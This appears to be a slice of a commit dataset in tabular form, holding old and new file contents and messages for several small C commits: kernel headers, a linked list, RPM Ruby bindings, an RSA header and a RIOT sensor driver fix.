commit
stringlengths
40
40
old_file
stringlengths
4
112
new_file
stringlengths
4
112
old_contents
stringlengths
0
2.05k
new_contents
stringlengths
28
3.9k
subject
stringlengths
17
736
message
stringlengths
18
4.78k
lang
stringclasses
1 value
license
stringclasses
13 values
repos
stringlengths
7
111k
65dd7026a906f7a70ef326f18540c0b648a0ffed
include/asm-mips/mach-ip22/cpu-feature-overrides.h
include/asm-mips/mach-ip22/cpu-feature-overrides.h
/* * This file is subject to the terms and conditions of the GNU General Public * License. See the file "COPYING" in the main directory of this archive * for more details. * * Copyright (C) 2003 Ralf Baechle */ #ifndef __ASM_MACH_IP22_CPU_FEATURE_OVERRIDES_H #define __ASM_MACH_IP22_CPU_FEATURE_OVERRIDES_H /* * IP22 with a variety of processors so we can't use defaults for everything. */ #define cpu_has_mips16 0 #define cpu_has_divec 0 #define cpu_has_cache_cdex_p 1 #define cpu_has_prefetch 0 #define cpu_has_mcheck 0 #define cpu_has_ejtag 0 #define cpu_has_llsc 1 #define cpu_has_vtag_icache 0 /* Needs to change for R8000 */ #define cpu_has_dc_aliases (PAGE_SIZE < 0x4000) #define cpu_has_ic_fills_f_dc 0 #define cpu_has_dsp 0 #define cpu_has_nofpuex 0 #define cpu_has_64bits 1 #endif /* __ASM_MACH_IP22_CPU_FEATURE_OVERRIDES_H */
/* * This file is subject to the terms and conditions of the GNU General Public * License. See the file "COPYING" in the main directory of this archive * for more details. * * Copyright (C) 2003 Ralf Baechle */ #ifndef __ASM_MACH_IP22_CPU_FEATURE_OVERRIDES_H #define __ASM_MACH_IP22_CPU_FEATURE_OVERRIDES_H /* * IP22 with a variety of processors so we can't use defaults for everything. */ #define cpu_has_tlb 1 #define cpu_has_4kex 1 #define cpu_has_4ktlb 1 #define cpu_has_fpu 1 #define cpu_has_32fpr 1 #define cpu_has_counter 1 #define cpu_has_mips16 0 #define cpu_has_divec 0 #define cpu_has_cache_cdex_p 1 #define cpu_has_prefetch 0 #define cpu_has_mcheck 0 #define cpu_has_ejtag 0 #define cpu_has_llsc 1 #define cpu_has_vtag_icache 0 /* Needs to change for R8000 */ #define cpu_has_dc_aliases (PAGE_SIZE < 0x4000) #define cpu_has_ic_fills_f_dc 0 #define cpu_has_dsp 0 #define cpu_has_nofpuex 0 #define cpu_has_64bits 1 #endif /* __ASM_MACH_IP22_CPU_FEATURE_OVERRIDES_H */
Define some more common ip22 CPU features.
Define some more common ip22 CPU features. Signed-off-by: Thiemo Seufer <[email protected]> Signed-off-by: Ralf Baechle <[email protected]>
C
mit
KristFoundation/Programs,KristFoundation/Programs,TeamVee-Kanas/android_kernel_samsung_kanas,KristFoundation/Programs,TeamVee-Kanas/android_kernel_samsung_kanas,KristFoundation/Programs,TeamVee-Kanas/android_kernel_samsung_kanas,TeamVee-Kanas/android_kernel_samsung_kanas,KristFoundation/Programs,TeamVee-Kanas/android_kernel_samsung_kanas,KristFoundation/Programs
b191a0b5165cd6b4f8103c71719058e7b1869c0e
src/net/cearth_network.c
src/net/cearth_network.c
#include "cearth_network.h" void blob_init(blob *b) { b->size = 0; } void blob_add_int8(blob *b, int8_t i) { b->data[b->size] = i; b->size++; } void blob_add_str(blob *b, char *str) { int len = strlen(str); strcpy((char *)b->data+b->size, str); b->size += len; }
#include "cearth_network.h"
Remove all trace functions from pre 0.0.1 prototyping
Remove all trace functions from pre 0.0.1 prototyping
C
mit
nyanpasu/cearth
91d38f59aca2d0becaa38fb2e4b7db53f3b30e49
src/single_linked_list.c
src/single_linked_list.c
#include <stdio.h> #include <stdlib.h> typedef struct list_t { int data; struct list_t *next; } list_t; list_t *insert_start(list_t *list, int data) { list_t *node = malloc(sizeof(list_t)); node->data = data; node->next = list; return node; } list_t *insert_end(list_t *list, int data) { list_t *node = malloc(sizeof(list_t)); node->data = data; node->next = list; if (list == NULL) return node; list_t *temp = list; while (temp->next != NULL) temp = temp->next; temp->next = node; node->next = NULL; return list; } list_t *remove_first(list_t *list) { if (list == NULL) return NULL; list_t *next = list->next; free(list); return next; } void print_list(list_t *list) { while (list != NULL) { printf("%d ", list->data); list = list->next; } printf("\n"); } int main(void) { list_t *list = NULL; list = insert_start(list, 6); list = insert_start(list, 3); list = insert_start(list, 1); print_list(list); list = remove_first(list); print_list(list); list = insert_end(list, 12); list = insert_end(list, 13); list = insert_end(list, 14); print_list(list); }
Add a single linked list
Add a single linked list
C
mit
jimouris/transaction-processing,jimouris/transaction-processing,jimouris/transaction-processing
c162af7b20680c4b1ff45cfb245a2dd8a507c29a
ruby/rpm-rb.h
ruby/rpm-rb.h
#ifndef H_RPM_RB #define H_RPM_RB /** * \file ruby/rpm-rb.h * \ingroup rb_c * * RPM Ruby bindings "RPM" module */ #include "system.h" #include <rpmiotypes.h> #include <rpmtypes.h> #include <rpmtag.h> #undef xmalloc #undef xcalloc #undef xrealloc #pragma GCC diagnostic ignored "-Wstrict-prototypes" #include <ruby.h> #pragma GCC diagnostic warning "-Wstrict-prototypes" /** * The "RPM" Ruby module. */ extern VALUE rpmModule; #ifdef __cplusplus extern "C" { #endif /** * Defines the "RPM" Ruby module and makes it known to the Interpreter. */ void Init_rpm(void); /** * Raises a Ruby exception (RPM::Error). * * @param error The return code leading to the exception * @param message A message to include in the exception. */ void rpm_rb_raise(rpmRC error, char *message); #ifdef __cplusplus } #endif #endif /* H_RPM_RB */
#ifndef H_RPM_RB #define H_RPM_RB /** * \file ruby/rpm-rb.h * \ingroup rb_c * * RPM Ruby bindings "RPM" module */ #include "system.h" #include <rpmiotypes.h> #include <rpmtypes.h> #include <rpmtag.h> /** * The "RPM" Ruby module. */ extern VALUE rpmModule; #ifdef __cplusplus extern "C" { #endif /** * Defines the "RPM" Ruby module and makes it known to the Interpreter. */ void Init_rpm(void); /** * Raises a Ruby exception (RPM::Error). * * @param error The return code leading to the exception * @param message A message to include in the exception. */ void rpm_rb_raise(rpmRC error, char *message); #ifdef __cplusplus } #endif #endif /* H_RPM_RB */
Fix header file inclusion/define problems with xmalloc & Co and ruby
Fix header file inclusion/define problems with xmalloc & Co and ruby
C
lgpl-2.1
devzero2000/RPM5,devzero2000/RPM5,devzero2000/RPM5,devzero2000/RPM5,devzero2000/RPM5,devzero2000/RPM5,devzero2000/RPM5
3128e416c6fff9a353a913f09d94b0ccc342e8ee
kernel/cpu/stack_frame.h
kernel/cpu/stack_frame.h
#pragma once namespace cpu { struct stack_frame { uint32_t ebx; uint32_t ecx; uint32_t edx; uint32_t esi; uint32_t edi; uint32_t ebp; uint32_t eax; uint16_t ds, __ds; uint16_t es, __es; uint16_t fs, __fs; uint16_t gs, __gs; uint32_t eip; uint16_t cs, __cs; uint32_t eflags; uint32_t esp; uint16_t ss, __ss; }; } // namespace cpu
Add structure for stack frame
Add structure for stack frame
C
mit
Mrokkk/objective-kernel,Mrokkk/objective-kernel
697549c5dc3f200b4bc13971fe4cc19aa4bd2c74
include/rsa.h
include/rsa.h
#ifndef _RSA_H_ #define _RSA_H_ #include "mpi.h" /* Everything must be kept private except for n and e. * (n,e) is the public key, (n,d) is the private key. */ typedef struct { mpi_t n; /* modulus n = pq */ mpi_t phi; /* phi = (p-1)(q-1) */ mpi_t e; /* public exponent 1 < e < phi s.t. gcd(e,phi)=1 */ mpi_t d; /* secret exponent 1 < d < phi s.t. ed=1 (mod phi) */ } rsa_ctx; void rsa_init(rsa_ctx *rsa, unsigned bits, mp_rand_ctx *rand_ctx); void rsa_free(rsa_ctx *rsa); /* Transform cleartext into encrypted data. */ void rsa_encrypt(rsa_ctx *ctx, const void *input, unsigned input_size, void *output, unsigned *output_size); /* Transform encrypted data back to cleartext. */ void rsa_decrypt(rsa_ctx *ctx, const void *input, unsigned input_size, void *output, unsigned *output_size); #endif /* !_RSA_H_ */
#ifndef _RSA_H_ #define _RSA_H_ #include "mpi.h" /* Everything must be kept private except for n and e. * (n,e) is the public key, (n,d) is the private key. */ typedef struct { mpi_t n; /* modulus n = pq */ mpi_t phi; /* phi = (p-1)(q-1) */ mpi_t e; /* public exponent 1 < e < phi s.t. gcd(e,phi)=1 */ mpi_t d; /* secret exponent 1 < d < phi s.t. ed=1 (mod phi) */ } rsa_ctx; void rsa_init(rsa_ctx *rsa, unsigned bits, mt64_context *rand_ctx); void rsa_free(rsa_ctx *rsa); /* Transform cleartext into encrypted data. */ void rsa_encrypt(rsa_ctx *ctx, const void *input, unsigned input_size, void *output, unsigned *output_size); /* Transform encrypted data back to cleartext. */ void rsa_decrypt(rsa_ctx *ctx, const void *input, unsigned input_size, void *output, unsigned *output_size); #endif /* !_RSA_H_ */
Use mt64_context instead of mp_rand_ctx
Use mt64_context instead of mp_rand_ctx
C
bsd-2-clause
fmela/weecrypt,fmela/weecrypt
2a0bb212bbe96125fc0a4f9e5859949ba7360fd9
test/sanitizer_common/TestCases/Linux/clock_gettime.c
test/sanitizer_common/TestCases/Linux/clock_gettime.c
// RUN: %clang %s -Wl,-as-needed -o %t && %run %t // Regression test for PR15823 // (http://llvm.org/bugs/show_bug.cgi?id=15823). #include <stdio.h> #include <time.h> int main() { struct timespec ts; clock_gettime(CLOCK_REALTIME, &ts); return 0; }
Add regression test for PR15823
Add regression test for PR15823 git-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@215941 91177308-0d34-0410-b5e6-96231b3b80d8
C
apache-2.0
llvm-mirror/compiler-rt,llvm-mirror/compiler-rt,llvm-mirror/compiler-rt,llvm-mirror/compiler-rt,llvm-mirror/compiler-rt
c06b5c5985127d50d137673e5862909e07b590a6
inspector/ios-inspector/ForgeModule/file/file_API.h
inspector/ios-inspector/ForgeModule/file/file_API.h
// // file_API.h // Forge // // Copyright (c) 2020 Trigger Corp. All rights reserved. // #import <Foundation/Foundation.h> @interface file_API : NSObject + (void)getImage:(ForgeTask*)task; + (void)getVideo:(ForgeTask*)task; + (void)getFileFromSourceDirectory:(ForgeTask*)task resource:(NSString*)resource; + (void)getURLFromSourceDirectory:(ForgeTask*)task resource:(NSString*)resource; + (void)getScriptPath:(ForgeTask*)task file:(NSDictionary*)file; + (void)getScriptURL:(ForgeTask*)task file:(NSDictionary*)file; + (void)isFile:(ForgeTask*)task file:(NSDictionary*)file; + (void)info:(ForgeTask*)task file:(NSDictionary*)file; + (void)base64:(ForgeTask*)task file:(NSDictionary*)file; + (void)string:(ForgeTask*)task file:(NSDictionary*)file; + (void)remove:(ForgeTask*)task file:(NSDictionary*)file; + (void)cacheURL:(ForgeTask*)task url:(NSString*)url; + (void)saveURL:(ForgeTask*)task url:(NSString*)url; + (void)clearCache:(ForgeTask*)task; + (void)getStorageSizeInformation:(ForgeTask*)task; @end
// // file_API.h // Forge // // Copyright (c) 2020 Trigger Corp. All rights reserved. // #import <Foundation/Foundation.h> @interface file_API : NSObject + (void)getImage:(ForgeTask*)task; + (void)getVideo:(ForgeTask*)task; + (void)getFileFromSourceDirectory:(ForgeTask*)task resource:(NSString*)resource; + (void)getURLFromSourceDirectory:(ForgeTask*)task resource:(NSString*)resource; + (void)getScriptPath:(ForgeTask*)task file:(NSDictionary*)file; + (void)getScriptURL:(ForgeTask*)task file:(NSDictionary*)file; + (void)exists:(ForgeTask*)task file:(NSDictionary*)file; + (void)info:(ForgeTask*)task file:(NSDictionary*)file; + (void)base64:(ForgeTask*)task file:(NSDictionary*)file; + (void)string:(ForgeTask*)task file:(NSDictionary*)file; + (void)remove:(ForgeTask*)task file:(NSDictionary*)file; + (void)cacheURL:(ForgeTask*)task url:(NSString*)url; + (void)saveURL:(ForgeTask*)task url:(NSString*)url; + (void)clearCache:(ForgeTask*)task; + (void)getStorageSizeInformation:(ForgeTask*)task; @end
Rename isFile -> exists in header file too
Rename isFile -> exists in header file too
C
bsd-2-clause
trigger-corp/trigger.io-file,trigger-corp/trigger.io-file
7603c10e309db118e06cef5c998d7d16c0218e98
src/models/src/NIMutableTableViewModel+Private.h
src/models/src/NIMutableTableViewModel+Private.h
// // Copyright 2011-2014 NimbusKit // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // #import "NIMutableTableViewModel.h" @interface NIMutableTableViewModel (Private) @property (nonatomic, strong) NSMutableArray* sections; // Array of NITableViewModelSection @property (nonatomic, strong) NSMutableArray* sectionIndexTitles; @property (nonatomic, strong) NSMutableDictionary* sectionPrefixToSectionIndex; @end @interface NITableViewModelSection (Mutable) - (NSMutableArray *)mutableRows; @end
// // Copyright 2011-2014 NimbusKit // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // #import "NIMutableTableViewModel.h" #import "NITableViewModel+Private.h" @interface NIMutableTableViewModel (Private) @property (nonatomic, strong) NSMutableArray* sections; // Array of NITableViewModelSection @property (nonatomic, strong) NSMutableArray* sectionIndexTitles; @property (nonatomic, strong) NSMutableDictionary* sectionPrefixToSectionIndex; @end @interface NITableViewModelSection (Mutable) - (NSMutableArray *)mutableRows; @end
Add proper import for NIMutableViewModel
Add proper import for NIMutableViewModel
C
apache-2.0
kisekied/nimbus,chanffdavid/nimbus,quyixia/nimbus,panume/nimbus,JyHu/nimbus,Arcank/nimbus,bangquangvn/nimbus,bogardon/nimbus,michaelShab/nimbus,marcobgoogle/nimbus,dmishe/nimbus,dachaoisme/nimbus,dmishe/nimbus,zilaiyedaren/nimbus,bangquangvn/nimbus,Arcank/nimbus,panume/nimbus,zilaiyedaren/nimbus,quyixia/nimbus,dachaoisme/nimbus,bogardon/nimbus,chanffdavid/nimbus,marcobgoogle/nimbus,kisekied/nimbus,dmishe/nimbus,quyixia/nimbus,dachaoisme/nimbus,jverkoey/nimbus,bogardon/nimbus,JyHu/nimbus,Arcank/nimbus,bangquangvn/nimbus,michaelShab/nimbus,kisekied/nimbus,compositeprimes/nimbus,WeeTom/nimbus,zilaiyedaren/nimbus,marcobgoogle/nimbus,dmishe/nimbus,marcobgoogle/nimbus,jverkoey/nimbus,WeeTom/nimbus,compositeprimes/nimbus,zilaiyedaren/nimbus,bangquangvn/nimbus,Arcank/nimbus,quyixia/nimbus,dachaoisme/nimbus,JyHu/nimbus,panume/nimbus,panume/nimbus,WeeTom/nimbus,michaelShab/nimbus,bogardon/nimbus,quyixia/nimbus,jverkoey/nimbus,quyixia/nimbus,panume/nimbus,compositeprimes/nimbus,bangquangvn/nimbus,JyHu/nimbus,bogardon/nimbus,WeeTom/nimbus,JyHu/nimbus,marcobgoogle/nimbus,WeeTom/nimbus,dmishe/nimbus,jverkoey/nimbus,jverkoey/nimbus,bogardon/nimbus,JyHu/nimbus,compositeprimes/nimbus,Arcank/nimbus,jverkoey/nimbus,chanffdavid/nimbus,chanffdavid/nimbus,compositeprimes/nimbus,kisekied/nimbus,chanffdavid/nimbus,marcobgoogle/nimbus,chanffdavid/nimbus,compositeprimes/nimbus,Arcank/nimbus,quyixia/nimbus,panume/nimbus,marcobgoogle/nimbus,kisekied/nimbus,Arcank/nimbus,dachaoisme/nimbus,michaelShab/nimbus,michaelShab/nimbus,bogardon/nimbus,kisekied/nimbus,bangquangvn/nimbus,michaelShab/nimbus,dmishe/nimbus,zilaiyedaren/nimbus,JyHu/nimbus,compositeprimes/nimbus,WeeTom/nimbus,zilaiyedaren/nimbus,jverkoey/nimbus,dachaoisme/nimbus
230ea3b21a8daabde9b2e0dcd93dedb5b5a87003
ppapi/native_client/src/shared/ppapi_proxy/ppruntime.h
ppapi/native_client/src/shared/ppapi_proxy/ppruntime.h
/* * Copyright (c) 2012 The Chromium Authors. All rights reserved. * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #ifndef NATIVE_CLIENT_SRC_SHARED_PPAPI_PROXY_PPRUNTIME_H_ #define NATIVE_CLIENT_SRC_SHARED_PPAPI_PROXY_PPRUNTIME_H_ #include "native_client/src/include/portability.h" #include "native_client/src/untrusted/irt/irt_ppapi.h" EXTERN_C_BEGIN // Initialize srpc connection to the browser. Some APIs like manifest file // opening do not need full ppapi initialization and so can be used after // this function returns. int IrtInit(void); // The entry point for the main thread of the PPAPI plugin process. int PpapiPluginMain(void); void PpapiPluginRegisterThreadCreator( const struct PP_ThreadFunctions* new_funcs); EXTERN_C_END #endif // NATIVE_CLIENT_SRC_SHARED_PPAPI_PROXY_PPRUNTIME_H_
/* * Copyright (c) 2012 The Chromium Authors. All rights reserved. * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #ifndef NATIVE_CLIENT_SRC_SHARED_PPAPI_PROXY_PPRUNTIME_H_ #define NATIVE_CLIENT_SRC_SHARED_PPAPI_PROXY_PPRUNTIME_H_ #include "native_client/src/include/portability.h" #include "native_client/src/untrusted/irt/irt_ppapi.h" EXTERN_C_BEGIN // The entry point for the main thread of the PPAPI plugin process. int PpapiPluginMain(void); void PpapiPluginRegisterThreadCreator( const struct PP_ThreadFunctions* new_funcs); EXTERN_C_END #endif // NATIVE_CLIENT_SRC_SHARED_PPAPI_PROXY_PPRUNTIME_H_
Remove declaration of IrtInit(), which is no longer defined anywhere
NaCl: Remove declaration of IrtInit(), which is no longer defined anywhere BUG=https://code.google.com/p/nativeclient/issues/detail?id=3186 TEST=build Review URL: https://codereview.chromium.org/157803004 git-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@250121 0039d316-1c4b-4281-b951-d872f2087c98
C
bsd-3-clause
Jonekee/chromium.src,jaruba/chromium.src,Jonekee/chromium.src,axinging/chromium-crosswalk,chuan9/chromium-crosswalk,hgl888/chromium-crosswalk-efl,Chilledheart/chromium,dednal/chromium.src,mohamed--abdel-maksoud/chromium.src,ondra-novak/chromium.src,ChromiumWebApps/chromium,littlstar/chromium.src,mohamed--abdel-maksoud/chromium.src,ChromiumWebApps/chromium,patrickm/chromium.src,littlstar/chromium.src,Fireblend/chromium-crosswalk,Chilledheart/chromium,dushu1203/chromium.src,Fireblend/chromium-crosswalk,dednal/chromium.src,dednal/chromium.src,TheTypoMaster/chromium-crosswalk,Fireblend/chromium-crosswalk,fujunwei/chromium-crosswalk,hgl888/chromium-crosswalk-efl,bright-sparks/chromium-spacewalk,patrickm/chromium.src,M4sse/chromium.src,M4sse/chromium.src,Jonekee/chromium.src,hgl888/chromium-crosswalk,hgl888/chromium-crosswalk-efl,littlstar/chromium.src,mohamed--abdel-maksoud/chromium.src,jaruba/chromium.src,M4sse/chromium.src,anirudhSK/chromium,krieger-od/nwjs_chromium.src,krieger-od/nwjs_chromium.src,ChromiumWebApps/chromium,Pluto-tv/chromium-crosswalk,PeterWangIntel/chromium-crosswalk,TheTypoMaster/chromium-crosswalk,krieger-od/nwjs_chromium.src,Pluto-tv/chromium-crosswalk,anirudhSK/chromium,ChromiumWebApps/chromium,Fireblend/chromium-crosswalk,dushu1203/chromium.src,ltilve/chromium,bright-sparks/chromium-spacewalk,ChromiumWebApps/chromium,axinging/chromium-crosswalk,hgl888/chromium-crosswalk-efl,ChromiumWebApps/chromium,krieger-od/nwjs_chromium.src,dushu1203/chromium.src,TheTypoMaster/chromium-crosswalk,hgl888/chromium-crosswalk,ChromiumWebApps/chromium,anirudhSK/chromium,axinging/chromium-crosswalk,patrickm/chromium.src,jaruba/chromium.src,crosswalk-project/chromium-crosswalk-efl,hgl888/chromium-crosswalk,ltilve/chromium,M4sse/chromium.src,chuan9/chromium-crosswalk,patrickm/chromium.src,axinging/chromium-crosswalk,bright-sparks/chromium-spacewalk,patrickm/chromium.src,ChromiumWebApps/chromium,TheTypoMaster/chromium-crosswalk,markYoungH/chromium.src,Chilledheart/chromium,ChromiumWebApps/chromium,hgl888/chromium-crosswalk-efl,hgl888/chromium-crosswalk-efl,bright-sparks/chromium-spacewalk,ltilve/chromium,M4sse/chromium.src,jaruba/chromium.src,dushu1203/chromium.src,crosswalk-project/chromium-crosswalk-efl,patrickm/chromium.src,crosswalk-project/chromium-crosswalk-efl,Pluto-tv/chromium-crosswalk,Chilledheart/chromium,Just-D/chromium-1,krieger-od/nwjs_chromium.src,PeterWangIntel/chromium-crosswalk,anirudhSK/chromium,PeterWangIntel/chromium-crosswalk,dednal/chromium.src,krieger-od/nwjs_chromium.src,anirudhSK/chromium,Just-D/chromium-1,chuan9/chromium-crosswalk,dednal/chromium.src,axinging/chromium-crosswalk,crosswalk-project/chromium-crosswalk-efl,markYoungH/chromium.src,mohamed--abdel-maksoud/chromium.src,Pluto-tv/chromium-crosswalk,ltilve/chromium,markYoungH/chromium.src,Fireblend/chromium-crosswalk,crosswalk-project/chromium-crosswalk-efl,bright-sparks/chromium-spacewalk,PeterWangIntel/chromium-crosswalk,Fireblend/chromium-crosswalk,markYoungH/chromium.src,mohamed--abdel-maksoud/chromium.src,dednal/chromium.src,Jonekee/chromium.src,jaruba/chromium.src,dednal/chromium.src,crosswalk-project/chromium-crosswalk-efl,chuan9/chromium-crosswalk,patrickm/chromium.src,anirudhSK/chromium,hgl888/chromium-crosswalk,markYoungH/chromium.src,hgl888/chromium-crosswalk-efl,fujunwei/chromium-crosswalk,Fireblend/chromium-crosswalk,chuan9/chromium-crosswalk,mohamed--abdel-maksoud/chromium.src,fujunwei/chromium-crosswalk,Just-D/chromium-1,mohamed--abdel-maksoud/chromium.src,PeterWangIntel/chromium-crosswalk,M4sse/chromium.src,dushu1203/chromium.src,Jonekee/chromium.src,M4sse/chromium.src,fujunwei/chromium-crosswalk,dushu1203/chromium.src,littlstar/chromium.src,chuan9/chromium-crosswalk,markYoungH/chromium.src,PeterWangIntel/chromium-crosswalk,markYoungH/chromium.src,mohamed--abdel-maksoud/chromium.src,Pluto-tv/chromium-crosswalk,ltilve/chromium,ondra-novak/chromium.src,ltilve/chromium,Jonekee/chromium.src,Pluto-tv/chromium-crosswalk,hgl888/chromium-crosswalk,dednal/chromium.src,axinging/chromium-crosswalk,dednal/chromium.src,hgl888/chromium-crosswalk-efl,Just-D/chromium-1,fujunwei/chromium-crosswalk,markYoungH/chromium.src,krieger-od/nwjs_chromium.src,fujunwei/chromium-crosswalk,hgl888/chromium-crosswalk-efl,fujunwei/chromium-crosswalk,dushu1203/chromium.src,littlstar/chromium.src,ondra-novak/chromium.src,ChromiumWebApps/chromium,hgl888/chromium-crosswalk,TheTypoMaster/chromium-crosswalk,M4sse/chromium.src,bright-sparks/chromium-spacewalk,Chilledheart/chromium,Chilledheart/chromium,ondra-novak/chromium.src,markYoungH/chromium.src,Fireblend/chromium-crosswalk,M4sse/chromium.src,chuan9/chromium-crosswalk,ondra-novak/chromium.src,crosswalk-project/chromium-crosswalk-efl,dushu1203/chromium.src,axinging/chromium-crosswalk,chuan9/chromium-crosswalk,littlstar/chromium.src,anirudhSK/chromium,littlstar/chromium.src,jaruba/chromium.src,ltilve/chromium,M4sse/chromium.src,Pluto-tv/chromium-crosswalk,dushu1203/chromium.src,hgl888/chromium-crosswalk,Just-D/chromium-1,Just-D/chromium-1,hgl888/chromium-crosswalk,dednal/chromium.src,TheTypoMaster/chromium-crosswalk,dushu1203/chromium.src,ltilve/chromium,Chilledheart/chromium,markYoungH/chromium.src,jaruba/chromium.src,anirudhSK/chromium,Chilledheart/chromium,chuan9/chromium-crosswalk,ondra-novak/chromium.src,hgl888/chromium-crosswalk,PeterWangIntel/chromium-crosswalk,jaruba/chromium.src,fujunwei/chromium-crosswalk,jaruba/chromium.src,ondra-novak/chromium.src,Jonekee/chromium.src,jaruba/chromium.src,Jonekee/chromium.src,TheTypoMaster/chromium-crosswalk,anirudhSK/chromium,dushu1203/chromium.src,Pluto-tv/chromium-crosswalk,ChromiumWebApps/chromium,bright-sparks/chromium-spacewalk,axinging/chromium-crosswalk,Jonekee/chromium.src,anirudhSK/chromium,Jonekee/chromium.src,mohamed--abdel-maksoud/chromium.src,mohamed--abdel-maksoud/chromium.src,krieger-od/nwjs_chromium.src,bright-sparks/chromium-spacewalk,Chilledheart/chromium,TheTypoMaster/chromium-crosswalk,crosswalk-project/chromium-crosswalk-efl,ltilve/chromium,anirudhSK/chromium,Just-D/chromium-1,patrickm/chromium.src,axinging/chromium-crosswalk,krieger-od/nwjs_chromium.src,axinging/chromium-crosswalk,bright-sparks/chromium-spacewalk,patrickm/chromium.src,PeterWangIntel/chromium-crosswalk,anirudhSK/chromium,krieger-od/nwjs_chromium.src,PeterWangIntel/chromium-crosswalk,littlstar/chromium.src,Pluto-tv/chromium-crosswalk,Jonekee/chromium.src,jaruba/chromium.src,dednal/chromium.src,ondra-novak/chromium.src,axinging/chromium-crosswalk,crosswalk-project/chromium-crosswalk-efl,Just-D/chromium-1,Just-D/chromium-1,ondra-novak/chromium.src,M4sse/chromium.src,Fireblend/chromium-crosswalk,markYoungH/chromium.src,krieger-od/nwjs_chromium.src,hgl888/chromium-crosswalk-efl,fujunwei/chromium-crosswalk,mohamed--abdel-maksoud/chromium.src,ChromiumWebApps/chromium,TheTypoMaster/chromium-crosswalk
af7220c2bebbcc2f1c49ec190d26724a0c4aed25
drivers/sds011/sds011_saul.c
drivers/sds011/sds011_saul.c
/* * Copyright (C) 2018 HAW-Hamburg * * This file is subject to the terms and conditions of the GNU Lesser * General Public License v2.1. See the file LICENSE in the top level * directory for more details. * */ /** * @ingroup drivers_sds011 * @{ * * @file * @brief SAUL adaption for SDS011 sensor * * @author Michel Rottleuthner <[email protected]> * * @} */ #include <string.h> #include "saul.h" #include "sds011.h" #include "xtimer.h" static int _read(const void *dev, phydat_t *res) { sds011_data_t data; if (sds011_read((sds011_t *)dev, &data) == SDS011_OK) { res->val[0] = data.pm_2_5; res->val[1] = data.pm_10; res->unit = UNIT_GPM3; res->scale = -7; return 2; } return ECANCELED; } const saul_driver_t sds011_saul_driver = { .read = _read, .write = saul_notsup, .type = SAUL_SENSE_PM };
/* * Copyright (C) 2018 HAW-Hamburg * * This file is subject to the terms and conditions of the GNU Lesser * General Public License v2.1. See the file LICENSE in the top level * directory for more details. * */ /** * @ingroup drivers_sds011 * @{ * * @file * @brief SAUL adaption for SDS011 sensor * * @author Michel Rottleuthner <[email protected]> * * @} */ #include <string.h> #include "saul.h" #include "sds011.h" #include "xtimer.h" static int _read(const void *dev, phydat_t *res) { sds011_data_t data; if (sds011_read((sds011_t *)dev, &data) == SDS011_OK) { res->val[0] = data.pm_2_5; res->val[1] = data.pm_10; res->unit = UNIT_GPM3; res->scale = -7; return 2; } return -ECANCELED; } const saul_driver_t sds011_saul_driver = { .read = _read, .write = saul_notsup, .type = SAUL_SENSE_PM };
Fix SAUL read error return
drivers/sds011: Fix SAUL read error return
C
lgpl-2.1
RIOT-OS/RIOT,cladmi/RIOT,OlegHahm/RIOT,authmillenon/RIOT,authmillenon/RIOT,rfuentess/RIOT,josephnoir/RIOT,yogo1212/RIOT,smlng/RIOT,josephnoir/RIOT,mfrey/RIOT,cladmi/RIOT,x3ro/RIOT,A-Paul/RIOT,mtausig/RIOT,BytesGalore/RIOT,smlng/RIOT,toonst/RIOT,mfrey/RIOT,RIOT-OS/RIOT,OlegHahm/RIOT,yogo1212/RIOT,kaspar030/RIOT,ant9000/RIOT,rfuentess/RIOT,aeneby/RIOT,OlegHahm/RIOT,toonst/RIOT,x3ro/RIOT,yogo1212/RIOT,kYc0o/RIOT,A-Paul/RIOT,ant9000/RIOT,mtausig/RIOT,toonst/RIOT,BytesGalore/RIOT,authmillenon/RIOT,A-Paul/RIOT,kaspar030/RIOT,mfrey/RIOT,cladmi/RIOT,mtausig/RIOT,josephnoir/RIOT,josephnoir/RIOT,miri64/RIOT,kYc0o/RIOT,smlng/RIOT,BytesGalore/RIOT,ant9000/RIOT,miri64/RIOT,lazytech-org/RIOT,kYc0o/RIOT,cladmi/RIOT,kYc0o/RIOT,rfuentess/RIOT,jasonatran/RIOT,rfuentess/RIOT,OlegHahm/RIOT,basilfx/RIOT,authmillenon/RIOT,cladmi/RIOT,jasonatran/RIOT,lazytech-org/RIOT,toonst/RIOT,lazytech-org/RIOT,OTAkeys/RIOT,RIOT-OS/RIOT,yogo1212/RIOT,jasonatran/RIOT,aeneby/RIOT,ant9000/RIOT,kaspar030/RIOT,basilfx/RIOT,authmillenon/RIOT,mtausig/RIOT,A-Paul/RIOT,x3ro/RIOT,josephnoir/RIOT,OTAkeys/RIOT,x3ro/RIOT,kaspar030/RIOT,mfrey/RIOT,toonst/RIOT,basilfx/RIOT,lazytech-org/RIOT,yogo1212/RIOT,aeneby/RIOT,OTAkeys/RIOT,aeneby/RIOT,miri64/RIOT,RIOT-OS/RIOT,jasonatran/RIOT,basilfx/RIOT,jasonatran/RIOT,RIOT-OS/RIOT,authmillenon/RIOT,kYc0o/RIOT,OTAkeys/RIOT,A-Paul/RIOT,OlegHahm/RIOT,OTAkeys/RIOT,x3ro/RIOT,rfuentess/RIOT,smlng/RIOT,miri64/RIOT,yogo1212/RIOT,mtausig/RIOT,smlng/RIOT,basilfx/RIOT,BytesGalore/RIOT,miri64/RIOT,aeneby/RIOT,kaspar030/RIOT,mfrey/RIOT,BytesGalore/RIOT,lazytech-org/RIOT,ant9000/RIOT
07bf91bd54bf71c4431072091b725f7b2efcea4c
mcp2515_dfs.h
mcp2515_dfs.h
